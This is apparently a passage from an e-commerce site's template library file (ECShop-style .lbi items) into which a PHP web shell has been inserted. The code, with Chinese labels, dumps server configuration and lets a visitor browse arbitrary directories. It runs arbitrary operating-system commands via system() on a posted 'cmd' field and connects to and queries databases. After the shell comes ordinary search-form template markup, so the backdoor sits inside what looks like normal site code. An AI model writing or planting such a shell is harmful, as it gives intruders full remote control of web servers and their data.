function getinfo($xy7)
{
if($xy7==1)
{
$s='<font color=blue>YES<b>√</b></font>';
}
else
{
$s='<font color=red>NO<b>×</b></font>';
}
return $s;
} echo '<br><br>';
echo '<br>';
echo "服务器系统:" ;
echo PHP_OS;
echo '<br>';
echo "服务器域名:";
echo $_SERVER['SERVER_NAME'];
echo '<br>';
echo "WEB服务器端口:";
echo $_SERVER['SERVER_PORT'];
echo '<br>';
echo "服务器时间:";
echo date("Y年m月d日 h:i:s",time());
echo '<br>';
echo "服务器IP地址:";
echo gethostbyname($_SERVER['SERVER_NAME']);
echo '<br>';
echo "服务器操作系统文字编码:";
echo $_SERVER['HTTP_ACCEPT_LANGUAGE'];
echo '<br>';
echo "服务器解释引擎:";
echo $_SERVER['SERVER_SOFTWARE'];
echo '<br>';
echo "PHP运行方式:";
echo strtoupper(php_sapi_name());
echo '<br>';
echo "PHP版本:";
echo PHP_VERSION;
echo '<br>';
echo "ZEND版本:";
echo zend_version();
echo '<br>';
echo "本文件绝对路径:";
echo __FILE__;
echo '<br>';
echo "服务器剩余空间:";
echo intval(diskfreespace(".") / (1024 * 1024)).'MB';
echo '<br>';
echo "脚本运行可占最大内存:";
echo get_cfg_var("memory_limit");
echo '<br>';
echo "脚本上传文件大小限制:";
echo get_cfg_var("upload_max_filesize");
echo '<br>';
echo "被屏蔽函数:";
echo get_cfg_var("disable_functions");
echo '<br>';
echo "POST方法提交限制:";
echo get_cfg_var("post_max_size");
echo '<br>';
echo "脚本超时时间:";
echo get_cfg_var("max_execution_time")."秒";
echo '<br>';
echo "动态链接库:";
echo getinfo(get_cfg_var("enable_dl"));
echo '<br>';
echo "自定义全局变量:";
echo getinfo(get_cfg_var("register_globals"));
echo '<br>';
echo "显示错误信息:";
echo getinfo(get_cfg_var("display_errors"));
echo '<br>';
echo "PHP安全模式:";
echo getinfo(get_cfg_var("safe_mode"));
echo '<br>';
echo "FTP文件传输:";
echo getinfo(get_magic_quotes_gpc("FTP support"));
echo '<br>';
echo"允许使用URL打开文件:";
echo getinfo(get_cfg_var("allow_url_fopen"));
echo '<br>';
echo "SESSION支持:";
echo getinfo(function_exists("session_start"));
echo '<br>';
echo "Socket支持:";
echo getinfo(function_exists("fsockopen"));
echo '<br>';
echo "MYSQL数据库:";
echo getinfo(function_exists("mysql_close"));
echo '<br>';
echo "SQL SERVER数据库:";
echo getinfo(function_exists("mssql_close"));
echo '<br>';
echo "ODBC数据库:";
echo getinfo(function_exists("odbc_close"));
echo '<br>';
echo "Oracle数据库:";
echo getinfo(function_exists("ora_close"));
echo '<br>';
echo "SNMP协议:";
echo getinfo(function_exists("snmpget"));
echo '<br>';
echo '<br>';
}
elseif ($_GET['shell']=="checkdir"){
global $PHP_SELF;
echo '<form action="" method="post">';
echo "快速目录浏览:";
echo '<input type="text" name="dir" style="font-family:Verdana,Arial; font-size: 9pt;"/>';
echo '<input type="submit" value="GoTo" style="font-family:Verdana,Arial; font-size: 9pt; background-color:#A2B5CD"/>';
echo '<br>';
echo '<textarea name="textarea" cols="70" rows="15">';
if (empty($_POST['dir']))
$newdir="./";
else
$newdir=$_POST['dir'];
$handle=@opendir($newdir);
echo "handle: $handle\n";
while ($file=@readdir($handle))
{echo ("$file \n");}
echo '</textarea>';
echo '<br>';
$nowdir=dirname($PHP_SELF);
}
elseif ($_GET['shell']=="command"){
echo '<table>';
echo '<form action="" method="post">';
echo '<br>';
echo '<tr>';
echo '<td align="left">';
echo 'Enter your command:';
echo '<input type="text" name="cmd" style="font-family:Verdana,Arial; font-size: 9pt;"/>';
echo '<input type="submit" value="Run" style="font-family:Verdana,Arial; font-size: 9pt;background-color:#A2B5CD"/>';
echo '</tr>';echo '</td>';
echo '<tr>';
echo '<td>';
echo '<textarea name="textarea" cols="70" rows="15" readonly>';
@system($_POST['cmd']);
echo '</textarea>';
}
elseif ($_GET['shell']=="change"){
echo '<form action="" method="post">';
echo '<br>';
echo "Enter binary character:";
echo '<input type="text" name="char" style="font-family:Verdana,Arial; font-size: 9pt;"/>';
echo '<input type="submit" value="Transforms to Hexadecimal" style="font-family:Verdana,Arial; font-size: 9pt; background-color:#A2B5CD"/>';
echo '</form>';
echo '<textarea name="textarea" cols="40" rows="1" readonly>';
$result=bin2hex($_POST['char']);
echo "0x".$result;
echo '</textarea>';
}
elseif ($_GET['shell']=="sql"){
echo '<table align="center" cellSpacing=8 cellPadding=4>';
echo '<tr><td>';
echo '<form action="" method="post">';
echo "Host:";
echo '<input name="servername" type="text" style="font-family:Verdana,Arial; font-size: 9pt;">';
echo '</td><td>';
echo "Username:";
echo '<input name="username" type="text" style="font-family:Verdana,Arial; font-size: 9pt;">';
echo '</td></tr>';
echo '<tr><td>';
echo "Password:";
echo '<input name="password" type="text" style="font-family:Verdana,Arial; font-size: 9pt;">';
echo '</td><td>';
echo "DBname:";
echo '<input name="dbname" type="text" style="font-family:Verdana,Arial; font-size: 9pt;">';
echo '<input type="submit" value="Connect" style="font-family:Verdana,Arial; font-size: 9pt; background-color:#A2B5CD"/>';
echo '</td></tr>';
if (@mysql_connect($servername,$username,$password) and @mysql_select_db($dbname)) {
echo "The database connects successfully!";
mysql_close();
} else {
echo mysql_error();
}
if (!empty($dbresult)){
$dbresult = @mysql_query($_POST['query']);
echo ($result) ? "Requests successfully!" : "The request makes a mistake: ".mysql_error();
mysql_close();}
echo '<tr><td>';
echo '<textarea name="query" cols="60" rows="10">';
echo '</textarea>';
echo '</td></tr>';
echo '<tr><td align="center">';
echo '<input type="submit" value="Execution SQL_query" style="font-family:Verdana,Arial; font-size: 9pt; background-color:#A2B5CD"/>';
echo '</td></tr>';
echo '</table>';
}
?>
<table align="center"><tr><td>
<h6>Copyright (C) 2006 All Rights Reserved
</td></tr></table>
<!-- #EndLibraryItem -->
<!-- #BeginLibraryItem "/library/search_form.lbi" -->
<div style="padding:0px 15px;">
<form id="searchForm" name="searchForm" method="get" action="search.php" onSubmit="return checkSearchForm()">
<select name="category" id="category" style="vertical-align:middle;">
<option value="0">{$lang.all_category}</option>
{$category_list}
</select>
<input name="keywords" class="textbox" type="text" id="keyword" value="{$search_keywords|escape}" />
<input type="image" name="imageField" src="../images/btn_go.gif" />
<a href="search.php?act=advanced_search">{$lang.advanced_search}</a>
</form>
</div>
{if $searchkeywords}
<div style="padding:0px 15px;text-align: right;">
{$lang.hot_search} :
{foreach from=$searchkeywords item=val}
<a href="search.php?keywords={$val|escape}">{$val}</a>
{/foreach}
</div>
{/if}
<script type="text/javascript">